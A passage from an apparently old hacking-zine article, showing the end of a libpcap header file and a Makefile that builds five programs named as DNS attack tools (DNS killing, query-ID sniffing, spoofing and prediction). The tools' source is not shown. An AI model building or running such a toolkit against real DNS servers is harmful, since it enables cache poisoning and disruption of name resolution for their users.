  2502. void    pcap_close(pcap_t *);
  2503. int    pcap_loop(pcap_t *, int, pcap_handler, u_char *);
  2504. int    pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
  2505. const u_char*
  2506.     pcap_next(pcap_t *, struct pcap_pkthdr *);
  2507. int    pcap_stats(pcap_t *, struct pcap_stat *);
  2508. int    pcap_setfilter(pcap_t *, struct bpf_program *);
  2509. void    pcap_perror(pcap_t *, char *);
  2510. char    *pcap_strerror(int);
  2511. char    *pcap_geterr(pcap_t *);
  2512. int    pcap_compile(pcap_t *, struct bpf_program *, char *, int,
  2513.         bpf_u_int32);
  2514. /* XXX */
  2515. int    pcap_freecode(pcap_t *, struct bpf_program *);
  2516. int    pcap_datalink(pcap_t *);
  2517. int    pcap_snapshot(pcap_t *);
  2518. int    pcap_is_swapped(pcap_t *);
  2519. int    pcap_major_version(pcap_t *);
  2520. int    pcap_minor_version(pcap_t *);
  2521.  
  2522. /* XXX */
  2523. FILE    *pcap_file(pcap_t *);
  2524. int    pcap_fileno(pcap_t *);
  2525.  
  2526. pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
  2527. void    pcap_dump_close(pcap_dumper_t *);
  2528. void    pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
  2529.  
  2530. /* XXX this guy lives in the bpf tree */
  2531. u_int    bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
  2532. char    *bpf_image(struct bpf_insn *, int);
  2533. #endif
  2534.  
  2535. ----[ END of pcap.h ]----
  2536.  
  2537. ----[Makefile]----
  2538. # Version 0.2
  2539. SHELL  = /bin/sh
  2540.  
  2541. # Uncomment this if you're not on Linux
  2542. #LIBS   = -lsocket -lnsl -lpcap
  2543.  
  2544. CC = gcc
  2545. RM = /bin/rm
  2546.  
  2547. BIN = .
  2548. #BIN = w00w00/bins
  2549.  
  2550. LIBS = -lpcap
  2551. CFLAGS = -I. -L.  
  2552.  
  2553. all: WSDkillDNS WSDspoofID WSDsniffID WSD-baddns WSD-IDpred
  2554.  
  2555. WSDkillDNS: WSDkillDNS.c
  2556.     $(CC) $(CFLAGS) WSDkillDNS.c  $(LIBS) -o $(BIN)/WSDkillDNS 
  2557.  
  2558. WSDspoofID: WSDspoofID.c
  2559.     $(CC) $(CFLAGS) WSDspoofID.c  $(LIBS) -o $(BIN)/WSDspoofID 
  2560.  
  2561. WSDsniffID: WSDsniffID.c
  2562.     $(CC) $(CFLAGS) WSDsniffID.c  $(LIBS) -o $(BIN)/WSDsniffID 
  2563.  
  2564. WSD-baddns: WSD-baddns.c
  2565.     $(CC) $(CFLAGS) WSD-baddns.c $(LIBS) -o $(BIN)/WSD-baddns  
  2566.  
  2567. WSD-IDpred: WSD-IDpred.c
  2568.     $(CC) $(CFLAGS) WSD-IDpred.c   $(LIBS) -o $(BIN)/WSD-IDpred
  2569.  
  2570. ----[END of Makefile ]----
  2571.  
  2572.